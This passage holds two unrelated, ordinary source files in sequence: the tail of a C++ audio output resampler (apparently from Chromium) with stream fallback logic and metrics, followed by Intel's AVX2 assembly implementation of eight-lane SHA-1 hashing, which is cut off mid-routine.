object, then Stop() must be // called before Start(). void Start(AudioOutputStream::AudioSourceCallback* callback); // Clears |source_callback_| and flushes the resampler. void Stop(); bool started() const { return source_callback_ != nullptr; } bool error_occurred() const { return error_occurred_; } private: // AudioConverter::InputCallback implementation. double ProvideInput(AudioBus* audio_bus, uint32_t frames_delayed) override; // Source callback. AudioOutputStream::AudioSourceCallback* source_callback_; // Last |delay| and |delay_timestamp| received via OnMoreData(). Used to // correct playback delay in ProvideInput() before calling |source_callback_|. base::TimeDelta current_delay_; base::TimeTicks current_delay_timestamp_; const int input_samples_per_second_; // Handles resampling, buffering, and channel mixing between input and output // parameters. AudioConverter audio_converter_; // True if OnError() was ever called. Should only be read if the underlying // stream has been stopped. bool error_occurred_; // Information about input and output buffer sizes to be traced. const int input_buffer_size_; const int output_buffer_size_; // For audio debug recordings. std::unique_ptr<AudioDebugRecorder> debug_recorder_; DISALLOW_COPY_AND_ASSIGN(OnMoreDataConverter); }; namespace { // Record UMA statistics for hardware output configuration. static void RecordStats(const AudioParameters& output_params) { base::UmaHistogramEnumeration( "Media.HardwareAudioChannelLayout", output_params.channel_layout(), static_cast<ChannelLayout>(CHANNEL_LAYOUT_MAX + 1)); base::UmaHistogramExactLinear("Media.HardwareAudioChannelCount", output_params.channels(), static_cast<int>(limits::kMaxChannels)); AudioSampleRate asr; if (!ToAudioSampleRate(output_params.sample_rate(), &asr)) return; base::UmaHistogramEnumeration( "Media.HardwareAudioSamplesPerSecond", asr, static_cast<AudioSampleRate>(kAudioSampleRateMax + 1)); } // Only Windows has a high latency output driver that is not the same as the low // latency path. #if defined(OS_WIN) // Converts low latency based |output_params| into high latency appropriate // output parameters in error situations. AudioParameters GetFallbackOutputParams( const AudioParameters& original_output_params) { DCHECK_EQ(original_output_params.format(), AudioParameters::AUDIO_PCM_LOW_LATENCY); // Choose AudioParameters appropriate for opening the device in high latency // mode. |kMinLowLatencyFrameSize| is arbitrarily based on Pepper Flash's // MAXIMUM frame size for low latency. static const int kMinLowLatencyFrameSize = 2048; const int frames_per_buffer = std::max( original_output_params.frames_per_buffer(), kMinLowLatencyFrameSize); return AudioParameters(AudioParameters::AUDIO_PCM_LINEAR, original_output_params.channel_layout(), original_output_params.sample_rate(), frames_per_buffer); } #endif // This enum must match the numbering for // AudioOutputResamplerOpenLowLatencyStreamResult in enums.xml. Do not reorder // or remove items, only add new items before OPEN_STREAM_MAX. enum class OpenStreamResult { kFail = 0, kFallbackToFake = 1, kFallbackToLinear = 2, kSuccess = 3, kFallbackToFakeFail = 4, kFallbackToFakeSuccess = 5, kFallbackToLinearFail = 6, kFallbackToLinearSuccess = 7, kSubsequentFail = 8, kSubsequentSuccess = 9, kMaxValue = kSubsequentSuccess, }; OpenStreamResult GetSubsequentStreamCreationResultBucket( const AudioParameters& current_params, bool success) { switch (current_params.format()) { case AudioParameters::AUDIO_PCM_LOW_LATENCY: return success ? OpenStreamResult::kSubsequentSuccess : OpenStreamResult::kSubsequentFail; case AudioParameters::AUDIO_PCM_LINEAR: return success ? OpenStreamResult::kFallbackToLinearSuccess : OpenStreamResult::kFallbackToLinearFail; case AudioParameters::AUDIO_FAKE: return success ? OpenStreamResult::kFallbackToFakeSuccess : OpenStreamResult::kFallbackToFakeFail; default: NOTREACHED(); return OpenStreamResult::kFail; } } } // namespace AudioOutputResampler::AudioOutputResampler( AudioManager* audio_manager, const AudioParameters& input_params, const AudioParameters& output_params, const std::string& output_device_id, base::TimeDelta close_delay, const RegisterDebugRecordingSourceCallback& register_debug_recording_source_callback) : AudioOutputDispatcher(audio_manager), close_delay_(close_delay), input_params_(input_params), output_params_(output_params), original_output_params_(output_params), device_id_(output_device_id), reinitialize_timer_( FROM_HERE, close_delay_, base::BindRepeating(&AudioOutputResampler::Reinitialize, base::Unretained(this))), register_debug_recording_source_callback_( register_debug_recording_source_callback) { DCHECK(audio_manager->GetTaskRunner()->BelongsToCurrentThread()); DCHECK(input_params.IsValid()); DCHECK(output_params.IsValid()); DCHECK(output_params_.format() == AudioParameters::AUDIO_PCM_LOW_LATENCY || output_params_.format() == AudioParameters::AUDIO_PCM_LINEAR); DCHECK(register_debug_recording_source_callback_); // Record UMA statistics for the hardware configuration. RecordStats(output_params); } AudioOutputResampler::~AudioOutputResampler() { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); for (const auto& item : callbacks_) { if (item.second->started()) StopStreamInternal(item); } } void AudioOutputResampler::Reinitialize() { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); // We can only reinitialize the dispatcher if it has no active proxies. Check // if one has been created since the reinitialization timer was started. if (dispatcher_ && dispatcher_->HasOutputProxies()) return; DCHECK(callbacks_.empty()); // Log a trace event so we can get feedback in the field when this happens. TRACE_EVENT0("audio", "AudioOutputResampler::Reinitialize"); output_params_ = original_output_params_; dispatcher_.reset(); } std::unique_ptr<AudioOutputDispatcherImpl> AudioOutputResampler::MakeDispatcher( const std::string& output_device_id, const AudioParameters& params) { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); DCHECK(callbacks_.empty()); return std::make_unique<AudioOutputDispatcherImpl>( audio_manager(), params, output_device_id, close_delay_); } AudioOutputProxy* AudioOutputResampler::CreateStreamProxy() { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); return new AudioOutputProxy(weak_factory_.GetWeakPtr()); } bool AudioOutputResampler::OpenStream() { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); bool first_stream = false; if (!dispatcher_) { first_stream = true; // No open streams => no fallback has happened. DCHECK(original_output_params_.Equals(output_params_)); DCHECK(callbacks_.empty()); dispatcher_ = MakeDispatcher(device_id_, output_params_); } constexpr char kFallbackHistogramName[] = "Media.FallbackToHighLatencyAudioPath"; constexpr char kOpenLowLatencyHistogramName[] = "Media.AudioOutputResampler.OpenLowLatencyStream"; if (dispatcher_->OpenStream()) { // Only record the UMA statistic if we didn't fallback during construction // and only for the first stream we open. if (original_output_params_.format() == AudioParameters::AUDIO_PCM_LOW_LATENCY) { if (first_stream) base::UmaHistogramBoolean(kFallbackHistogramName, false); base::UmaHistogramEnumeration( kOpenLowLatencyHistogramName, first_stream ? OpenStreamResult::kSuccess : GetSubsequentStreamCreationResultBucket(output_params_, true)); } return true; } // Fallback is available for low latency streams only. if (original_output_params_.format() != AudioParameters::AUDIO_PCM_LOW_LATENCY) { return false; } // If we have successfully opened a stream previously, there's nothing more to // be done. if (!first_stream) { base::UmaHistogramEnumeration( kOpenLowLatencyHistogramName, GetSubsequentStreamCreationResultBucket(output_params_, false)); return false; } base::UmaHistogramBoolean(kFallbackHistogramName, true); // Only Windows has a high latency output driver that is not the same as the // low latency path. #if defined(OS_WIN) DLOG(ERROR) << "Unable to open audio device in low latency mode. Falling " << "back to high latency audio output."; output_params_ = GetFallbackOutputParams(original_output_params_); const std::string fallback_device_id = ""; dispatcher_ = MakeDispatcher(fallback_device_id, output_params_); if (dispatcher_->OpenStream()) { base::UmaHistogramEnumeration(kOpenLowLatencyHistogramName, OpenStreamResult::kFallbackToLinear); return true; } #endif DLOG(ERROR) << "Unable to open audio device in high latency mode. Falling " << "back to fake audio output."; // Finally fall back to a fake audio output device. output_params_ = input_params_; output_params_.set_format(AudioParameters::AUDIO_FAKE); dispatcher_ = MakeDispatcher(device_id_, output_params_); if (dispatcher_->OpenStream()) { base::UmaHistogramEnumeration(kOpenLowLatencyHistogramName, OpenStreamResult::kFallbackToFake); return true; } // Resetting the malfunctioning dispatcher. Reinitialize(); base::UmaHistogramEnumeration(kOpenLowLatencyHistogramName, OpenStreamResult::kFail); return false; } bool AudioOutputResampler::StartStream( AudioOutputStream::AudioSourceCallback* callback, AudioOutputProxy* stream_proxy) { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); DCHECK(dispatcher_); OnMoreDataConverter* resampler_callback = nullptr; auto it = callbacks_.find(stream_proxy); if (it == callbacks_.end()) { // If a register callback has been given, register and pass the returned // recoder to the converter. Data is fed to same recorder for the lifetime // of the converter, which is until the stream is closed. resampler_callback = new OnMoreDataConverter( input_params_, output_params_, register_debug_recording_source_callback_.Run(output_params_)); callbacks_[stream_proxy] = base::WrapUnique<OnMoreDataConverter>(resampler_callback); } else { resampler_callback = it->second.get(); } resampler_callback->Start(callback); bool result = dispatcher_->StartStream(resampler_callback, stream_proxy); if (!result) resampler_callback->Stop(); return result; } void AudioOutputResampler::StreamVolumeSet(AudioOutputProxy* stream_proxy, double volume) { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); DCHECK(dispatcher_); dispatcher_->StreamVolumeSet(stream_proxy, volume); } void AudioOutputResampler::StopStream(AudioOutputProxy* stream_proxy) { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); auto it = callbacks_.find(stream_proxy); DCHECK(it != callbacks_.end()); StopStreamInternal(*it); } void AudioOutputResampler::CloseStream(AudioOutputProxy* stream_proxy) { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); DCHECK(dispatcher_); dispatcher_->CloseStream(stream_proxy); // We assume that StopStream() is always called prior to CloseStream(), so // that it is safe to delete the OnMoreDataConverter here. callbacks_.erase(stream_proxy); // Start the reinitialization timer if there are no active proxies and we're // not using the originally requested output parameters. This allows us to // recover from transient output creation errors. if (!dispatcher_->HasOutputProxies() && callbacks_.empty() && !output_params_.Equals(original_output_params_)) { reinitialize_timer_.Reset(); } } void AudioOutputResampler::FlushStream(AudioOutputProxy* stream_proxy) { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); DCHECK(dispatcher_); dispatcher_->FlushStream(stream_proxy); } void AudioOutputResampler::StopStreamInternal( const CallbackMap::value_type& item) { DCHECK(audio_manager()->GetTaskRunner()->BelongsToCurrentThread()); DCHECK(dispatcher_); AudioOutputProxy* stream_proxy = item.first; OnMoreDataConverter* callback = item.second.get(); DCHECK(callback->started()); // Stop the underlying physical stream. dispatcher_->StopStream(stream_proxy); // Now that StopStream() has completed the underlying physical stream should // be stopped and no longer calling OnMoreData(), making it safe to Stop() the // OnMoreDataConverter. callback->Stop(); // Destroy idle streams if any errors occurred during output; this ensures // bad streams will not be reused. Note: Errors may occur during the Stop() // call above. if (callback->error_occurred()) dispatcher_->CloseAllIdleStreams(); } OnMoreDataConverter::OnMoreDataConverter( const AudioParameters& input_params, const AudioParameters& output_params, std::unique_ptr<AudioDebugRecorder> debug_recorder) : source_callback_(nullptr), input_samples_per_second_(input_params.sample_rate()), audio_converter_(input_params, output_params, false), error_occurred_(false), input_buffer_size_(input_params.frames_per_buffer()), output_buffer_size_(output_params.frames_per_buffer()), debug_recorder_(std::move(debug_recorder)) {} OnMoreDataConverter::~OnMoreDataConverter() { // Ensure Stop() has been called so we don't end up with an AudioOutputStream // calling back into OnMoreData() after destruction. CHECK(!source_callback_); } void OnMoreDataConverter::Start( AudioOutputStream::AudioSourceCallback* callback) { CHECK(!source_callback_); CHECK(callback); source_callback_ = callback; // While AudioConverter can handle multiple inputs, we're using it only with // a single input currently. Eventually this may be the basis for a browser // side mixer. audio_converter_.AddInput(this); } void OnMoreDataConverter::Stop() { CHECK(source_callback_); audio_converter_.RemoveInput(this); source_callback_ = nullptr; } int OnMoreDataConverter::OnMoreData(base::TimeDelta delay, base::TimeTicks delay_timestamp, int /* prior_frames_skipped */, AudioBus* dest) { TRACE_EVENT2("audio", "OnMoreDataConverter::OnMoreData", "input buffer size", input_buffer_size_, "output buffer size", output_buffer_size_); current_delay_ = delay; current_delay_timestamp_ = delay_timestamp; audio_converter_.Convert(dest); if (debug_recorder_) debug_recorder_->OnData(dest); // Always return the full number of frames requested, ProvideInput() // will pad with silence if it wasn't able to acquire enough data. return dest->frames(); } double OnMoreDataConverter::ProvideInput(AudioBus* dest, uint32_t frames_delayed) { base::TimeDelta new_delay = current_delay_ + AudioTimestampHelper::FramesToTime( frames_delayed, input_samples_per_second_); // Retrieve data from the original callback. const int frames = source_callback_->OnMoreData( new_delay, current_delay_timestamp_, 0, dest); // Zero any unfilled frames if anything was filled, otherwise we'll just // return a volume of zero and let AudioConverter drop the output. if (frames > 0 && frames < dest->frames()) dest->ZeroFramesPartial(frames, dest->frames() - frames); return frames > 0 ? 1 : 0; } void OnMoreDataConverter::OnError(ErrorType type) { error_occurred_ = true; source_callback_->OnError(type); } } // namespace media
;; ;; Copyright (c) 2012-2018, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; ;; Stack must be aligned to 32 bytes before call ;; Windows clobbers: rax rdx r8 r9 r10 r11 r12 r13 r14 r15 ;; Windows preserves: rbx rcx rsi rdi rbp ;; ;; Linux clobbers: rax rdx rsi r9 r10 r11 r12 r13 r14 r15 ;; Linux preserves: rbx rcx rdi rbp r8 ;; ;; clobbers ymm0-15 %include "os.asm" ;%define DO_DBGPRINT %include "dbgprint.asm" %include "mb_mgr_datastruct.asm" section .data default rel align 32 PSHUFFLE_BYTE_FLIP_MASK: ;ddq 0x0c0d0e0f08090a0b0405060700010203 ;ddq 0x0c0d0e0f08090a0b0405060700010203 dq 0x0405060700010203, 0x0c0d0e0f08090a0b dq 0x0405060700010203, 0x0c0d0e0f08090a0b K00_19: ;ddq 0x5A8279995A8279995A8279995A827999 ;ddq 0x5A8279995A8279995A8279995A827999 dq 0x5A8279995A827999, 0x5A8279995A827999 dq 0x5A8279995A827999, 0x5A8279995A827999 K20_39: ;ddq 0x6ED9EBA16ED9EBA16ED9EBA16ED9EBA1 ;ddq 0x6ED9EBA16ED9EBA16ED9EBA16ED9EBA1 dq 0x6ED9EBA16ED9EBA1, 0x6ED9EBA16ED9EBA1 dq 0x6ED9EBA16ED9EBA1, 0x6ED9EBA16ED9EBA1 K40_59: ;ddq 0x8F1BBCDC8F1BBCDC8F1BBCDC8F1BBCDC ;ddq 0x8F1BBCDC8F1BBCDC8F1BBCDC8F1BBCDC dq 0x8F1BBCDC8F1BBCDC, 0x8F1BBCDC8F1BBCDC dq 0x8F1BBCDC8F1BBCDC, 0x8F1BBCDC8F1BBCDC K60_79: ;ddq 0xCA62C1D6CA62C1D6CA62C1D6CA62C1D6 ;ddq 0xCA62C1D6CA62C1D6CA62C1D6CA62C1D6 dq 0xCA62C1D6CA62C1D6, 0xCA62C1D6CA62C1D6 dq 0xCA62C1D6CA62C1D6, 0xCA62C1D6CA62C1D6 section .text %ifdef LINUX %define arg1 rdi %define arg2 rsi %define reg3 rdx %else %define arg1 rcx %define arg2 rdx %define reg3 r8 %endif %define state arg1 %define num_blks arg2 %define inp0 r9 %define inp1 r10 %define inp2 r11 %define inp3 r12 %define inp4 r13 %define inp5 r14 %define inp6 r15 %define inp7 reg3 %define IDX rax ; ymm0 A ; ymm1 B ; ymm2 C ; ymm3 D ; ymm4 E ; ymm5 F AA ; ymm6 T0 BB ; ymm7 T1 CC ; ymm8 T2 DD ; ymm9 T3 EE ; ymm10 T4 TMP ; ymm11 T5 FUN ; ymm12 T6 K ; ymm13 T7 W14 ; ymm14 T8 W15 ; ymm15 T9 W16 %define A ymm0 %define B ymm1 %define C ymm2 %define D ymm3 %define E ymm4 %define F ymm5 %define T0 ymm6 %define T1 ymm7 %define T2 ymm8 %define T3 ymm9 %define T4 ymm10 %define T5 ymm11 %define T6 ymm12 %define T7 ymm13 %define T8 ymm14 %define T9 ymm15 %define AA ymm5 %define BB ymm6 %define CC ymm7 %define DD ymm8 %define EE ymm9 %define TMP ymm10 %define FUN ymm11 %define K ymm12 %define W14 ymm13 %define W15 ymm14 %define W16 ymm15 ;; Assume stack aligned to 32 bytes before call ;; Therefore FRAMESIZE mod 32 must be 32-8 = 24 %define FRAMESZ 32*16 + 24 %define VMOVPS vmovups ; TRANSPOSE8 r0, r1, r2, r3, r4, r5, r6, r7, t0, t1 ; "transpose" data in {r0...r7} using temps {t0...t1} ; Input looks like: {r0 r1 r2 r3 r4 r5 r6 r7} ; r0 = {a7 a6 a5 a4 a3 a2 a1 a0} ; r1 = {b7 b6 b5 b4 b3 b2 b1 b0} ; r2 = {c7 c6 c5 c4 c3 c2 c1 c0} ; r3 = {d7 d6 d5 d4 d3 d2 d1 d0} ; r4 = {e7 e6 e5 e4 e3 e2 e1 e0} ; r5 = {f7 f6 f5 f4 f3 f2 f1 f0} ; r6 = {g7 g6 g5 g4 g3 g2 g1 g0} ; r7 = {h7 h6 h5 h4 h3 h2 h1 h0} ; ; Output looks like: {r0 r1 r2 r3 r4 r5 r6 r7} ; r0 = {h0 g0 f0 e0 d0 c0 b0 a0} ; r1 = {h1 g1 f1 e1 d1 c1 b1 a1} ; r2 = {h2 g2 f2 e2 d2 c2 b2 a2} ; r3 = {h3 g3 f3 e3 d3 c3 b3 a3} ; r4 = {h4 g4 f4 e4 d4 c4 b4 a4} ; r5 = {h5 g5 f5 e5 d5 c5 b5 a5} ; r6 = {h6 g6 f6 e6 d6 c6 b6 a6} ; r7 = {h7 g7 f7 e7 d7 c7 b7 a7} ; %macro TRANSPOSE8 10 %define %%r0 %1 %define %%r1 %2 %define %%r2 %3 %define %%r3 %4 %define %%r4 %5 %define %%r5 %6 %define %%r6 %7 %define %%r7 %8 %define %%t0 %9 %define %%t1 %10 ; process top half (r0..r3) {a...d} vshufps %%t0, %%r0, %%r1, 0x44 ; t0 = {b5 b4 a5 a4 b1 b0 a1 a0} vshufps %%r0, %%r0, %%r1, 0xEE ; r0 = {b7 b6 a7 a6 b3 b2 a3 a2} vshufps %%t1, %%r2, %%r3, 0x44 ; t1 = {d5 d4 c5 c4 d1 d0 c1 c0} vshufps %%r2, %%r2, %%r3, 0xEE ; r2 = {d7 d6 c7 c6 d3 d2 c3 c2} vshufps %%r3, %%t0, %%t1, 0xDD ; r3 = {d5 c5 b5 a5 d1 c1 b1 a1} vshufps %%r1, %%r0, %%r2, 0x88 ; r1 = {d6 c6 b6 a6 d2 c2 b2 a2} vshufps %%r0, %%r0, %%r2, 0xDD ; r0 = {d7 c7 b7 a7 d3 c3 b3 a3} vshufps %%t0, %%t0, %%t1, 0x88 ; t0 = {d4 c4 b4 a4 d0 c0 b0 a0} ; use r2 in place of t0 ; process bottom half (r4..r7) {e...h} vshufps %%r2, %%r4, %%r5, 0x44 ; r2 = {f5 f4 e5 e4 f1 f0 e1 e0} vshufps %%r4, %%r4, %%r5, 0xEE ; r4 = {f7 f6 e7 e6 f3 f2 e3 e2} vshufps %%t1, %%r6, %%r7, 0x44 ; t1 = {h5 h4 g5 g4 h1 h0 g1 g0} vshufps %%r6, %%r6, %%r7, 0xEE ; r6 = {h7 h6 g7 g6 h3 h2 g3 g2} vshufps %%r7, %%r2, %%t1, 0xDD ; r7 = {h5 g5 f5 e5 h1 g1 f1 e1} vshufps %%r5, %%r4, %%r6, 0x88 ; r5 = {h6 g6 f6 e6 h2 g2 f2 e2} vshufps %%r4, %%r4, %%r6, 0xDD ; r4 = {h7 g7 f7 e7 h3 g3 f3 e3} vshufps %%t1, %%r2, %%t1, 0x88 ; t1 = {h4 g4 f4 e4 h0 g0 f0 e0} vperm2f128 %%r6, %%r5, %%r1, 0x13 ; h6...a6 vperm2f128 %%r2, %%r5, %%r1, 0x02 ; h2...a2 vperm2f128 %%r5, %%r7, %%r3, 0x13 ; h5...a5 vperm2f128 %%r1, %%r7, %%r3, 0x02 ; h1...a1 vperm2f128 %%r7, %%r4, %%r0, 0x13 ; h7...a7 vperm2f128 %%r3, %%r4, %%r0, 0x02 ; h3...a3 vperm2f128 %%r4, %%t1, %%t0, 0x13 ; h4...a4 vperm2f128 %%r0, %%t1, %%t0, 0x02 ; h0...a0 %endmacro ;; ;; Magic functions defined in FIPS 180-1 ;; ;MAGIC_F0 MACRO regF:REQ,regB:REQ,regC:REQ,regD:REQ,regT:REQ ;; ((D ^ (B & (C ^ D))) %macro MAGIC_F0 5 %define %%regF %1 %define %%regB %2 %define %%regC %3 %define %%regD %4 %define %%regT %5 ;vmovdqa %%regF,%%regC vpxor %%regF, %%regC,%%regD vpand %%regF, %%regF,%%regB vpxor %%regF, %%regF,%%regD %endmacro ;MAGIC_F1 MACRO regF:REQ,regB:REQ,regC:REQ,regD:REQ,regT:REQ ;; (B ^ C ^ D) %macro MAGIC_F1 5 %define %%regF %1 %define %%regB %2 %define %%regC %3 %define %%regD %4 %define %%regT %5 ;vmovdqa %%regF,%%regD vpxor %%regF,%%regD,%%regC vpxor %%regF,%%regF,%%regB %endmacro ;MAGIC_F2 MACRO regF:REQ,regB:REQ,regC:REQ,regD:REQ,regT:REQ ;; ((B & C) | (B & D) | (C & D)) %macro MAGIC_F2 5 %define %%regF %1 %define %%regB %2 %define %%regC %3 %define %%regD %4 %define %%regT %5 ;vmovdqa %%regF,%%regB ;vmovdqa %%regT,%%regB vpor %%regF,%%regB,%%regC vpand %%regT,%%regB,%%regC vpand %%regF,%%regF,%%regD vpor %%regF,%%regF,%%regT %endmacro ;MAGIC_F3 MACRO regF:REQ,regB:REQ,regC:REQ,regD:REQ,regT:REQ %macro MAGIC_F3 5 %define %%regF %1 %define %%regB %2 %define %%regC %3 %define %%regD %4 %define %%regT %5 MAGIC_F1 %%regF,%%regB,%%regC,%%regD,%%regT %endmacro ; PROLD reg, imm, tmp %macro PROLD 3 %define %%reg %1 %define %%imm %2 %define %%tmp %3 ;vmovdqa %%tmp, %%reg vpsrld %%tmp, %%reg, (32-%%imm) vpslld %%reg, %%reg, %%imm vpor %%reg, %%reg, %%tmp %endmacro ; PROLD reg, imm, tmp %macro PROLD_nd 4 %define %%reg %1 %define %%imm %2 %define %%tmp %3 %define %%src %4 ;vmovdqa %%tmp, %%reg vpsrld %%tmp, %%src, (32-%%imm) vpslld %%reg, %%src, %%imm vpor %%reg, %%reg, %%tmp %endmacro %macro SHA1_STEP_00_15 10 %define %%regA %1 %define %%regB %2 %define %%regC %3 %define %%regD %4 %define %%regE %5 %define %%regT %6 %define %%regF %7 %define %%memW %8 %define %%immCNT %9 %define %%MAGIC %10 vpaddd %%regE, %%regE,%%immCNT vpaddd %%regE, %%regE,[rsp + (%%memW * 32)] ;vmovdqa %%regT,%%regA PROLD_nd %%regT,5, %%regF,%%regA vpaddd %%regE, %%regE,%%regT %%MAGIC %%regF,%%regB,%%regC,%%regD,%%regT ;; FUN = MAGIC_Fi(B,C,D) PROLD %%regB,30, %%regT vpaddd %%regE, %%regE,%%regF %endmacro %macro SHA1_STEP_16_79 10 %define %%regA %1 %define %%regB %2 %define %%regC %3 %define %%regD %4 %define %%regE %5 %define %%regT %6 %define %%regF %7 %define %%memW %8 %define %%immCNT %9 %define %%MAGIC %10 vpaddd %%regE, %%regE,%%immCNT vmovdqa W14, [rsp + ((%%memW - 14) & 15) * 32] vpxor W16, W16, W14 vpxor W16, W16, [rsp + ((%%memW - 8) & 15) * 32] vpxor W16, W16, [rsp + ((%%memW - 3) & 15) * 32] ;vmovdqa %%regF, W16 vpsrld %%regF, W16, (32-1) vpslld W16, W16, 1 vpor %%regF, %%regF, W16 ROTATE_W vmovdqa [rsp + ((%%memW - 0) & 15) * 32],%%regF vpaddd %%regE, %%regE,%%regF ;vmovdqa %%regT,%%regA PROLD_nd %%regT,5, %%regF, %%regA vpaddd %%regE, %%regE,%%regT %%MAGIC %%regF,%%regB,%%regC,%%regD,%%regT ;; FUN = MAGIC_Fi(B,C,D) PROLD %%regB,30, %%regT vpaddd %%regE,%%regE,%%regF %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro ROTATE_ARGS 0 %xdefine TMP_ E %xdefine E D %xdefine D C %xdefine C B %xdefine B A %xdefine A TMP_ %endm %macro ROTATE_W 0 %xdefine TMP_ W16 %xdefine W16 W15 %xdefine W15 W14 %xdefine W14 TMP_ %endm align 32 ; void sha1_x8_avx2(void *state, int num_blks) ; arg 1 : rcx : pointer to array[4] of pointer to input data ; arg 2 : rdx : size (in blocks) ;; assumed to be >= 1 MKGLOBAL(sha1_x8_avx2,function,internal) sha1_x8_avx2: sub rsp, FRAMESZ ;; Initialize digests vmovdqu A, [state + 0*SHA1_DIGEST_ROW_SIZE] vmovdqu B, [state + 1*SHA1_DIGEST_ROW_SIZE] vmovdqu C, [state + 2*SHA1_DIGEST_ROW_SIZE] vmovdqu D, [state + 3*SHA1_DIGEST_ROW_SIZE] vmovdqu E, [state + 4*SHA1_DIGEST_ROW_SIZE] DBGPRINTL_YMM "Sha1-AVX2 incoming transposed digest", A, B, C, D, E ;; transpose input onto stack mov inp0,[state+_data_ptr_sha1+0*PTR_SZ] mov inp1,[state+_data_ptr_sha1+1*PTR_SZ] mov inp2,[state+_data_ptr_sha1+2*PTR_SZ] mov inp3,[state+_data_ptr_sha1+3*PTR_SZ] mov inp4,[state+_data_ptr_sha1+4*PTR_SZ] mov inp5,[state+_data_ptr_sha1+5*PTR_SZ] mov inp6,[state+_data_ptr_sha1+6*PTR_SZ] mov inp7,[state+_data_ptr_sha1+7*PTR_SZ] xor IDX, IDX lloop: vmovdqa F, [rel PSHUFFLE_BYTE_FLIP_MASK] %assign I 0 %rep 2 VMOVPS T0,[inp0+IDX] VMOVPS T1,[inp1+IDX] VMOVPS T2,[inp2+IDX] VMOVPS T3,[inp3+IDX] VMOVPS T4,[inp4+IDX] VMOVPS T5,[inp5+IDX] VMOVPS T6,[inp6+IDX] VMOVPS T7,[inp7+IDX] TRANSPOSE8 T0, T1, T2, T3, T4, T5, T6, T7, T8, T9 DBGPRINTL_YMM "Sha1-AVX2 incoming transposed input", T0, T1, T2, T3, T4, T5, T6, T7, T8, T9 vpshufb T0, T0, F vmovdqa [rsp+(I*8+0)*32],T0 vpshufb T1, T1, F vmovdqa [rsp+(I*8+1)*32],T1 vpshufb T2, T2, F vmovdqa [rsp+(I*8+2)*32],T2 vpshufb T3, T3, F vmovdqa [rsp+(I*8+3)*32],T3 vpshufb T4, T4, F vmovdqa [rsp+(I*8+4)*32],T4 vpshufb T5, T5, F vmovdqa [rsp+(I*8+5)*32],T5 vpshufb T6, T6, F vmovdqa [rsp+(I*8+6)*32],T6 vpshufb T7, T7, F vmovdqa [rsp+(I*8+7)*32],T7 add IDX, 32 %assign I (I+1) %endrep ; save old digests vmovdqa AA, A vmovdqa BB, B vmovdqa CC, C vmovdqa DD, D vmovdqa EE, E ;; ;; perform 0-79 steps ;; vmovdqa K, [rel K00_19] ;; do rounds 0...15 %assign I 0 %rep 16 SHA1_STEP_00_15 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F0 ROTATE_ARGS %assign I (I+1) %endrep ;; do rounds 16...19 vmovdqa W16, [rsp + ((16 - 16) & 15) * 32] vmovdqa W15, [rsp + ((16 - 15) & 15) * 32] %rep 4 SHA1_STEP_16_79 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F0 ROTATE_ARGS %assign I (I+1) %endrep ;; do rounds 20...39 vmovdqa K, [rel K20_39] %rep 20 SHA1_STEP_16_79 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F1 ROTATE_ARGS %assign I (I+1) %endrep ;; do rounds 40...59 vmovdqa K, [rel K40_59] %rep 20 SHA1_STEP_16_79 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F2 ROTATE_ARGS %assign I (I+1) %endrep ;; do rounds 60...79 vmovdqa K, [rel K60_79] %rep 20 SHA1_STEP_16_79 A,B,C,D,E, TMP,FUN, I, K, MAGIC_F3 ROTATE_ARGS %assign I (I+1) %endrep vpaddd A,A,AA vpaddd B,B,BB vpaddd C,C,CC vpaddd D,D,DD vpaddd E,E,EE sub num_blks, 1 jne lloop ; write out digests vmovdqu [state + 0*SHA1_DIGEST_ROW_SIZE], A vmovdqu [state + 1*SHA1_DIGEST_ROW_SIZE], B vmovdqu [state + 2*SHA1_DIGEST_ROW_SIZE], C vmovdqu [state + 3*SHA1_DIGEST_ROW_SIZE], D vmovdqu [state + 4*SHA1_DIGEST_ROW_SIZE], E DBGPRINTL_YMM 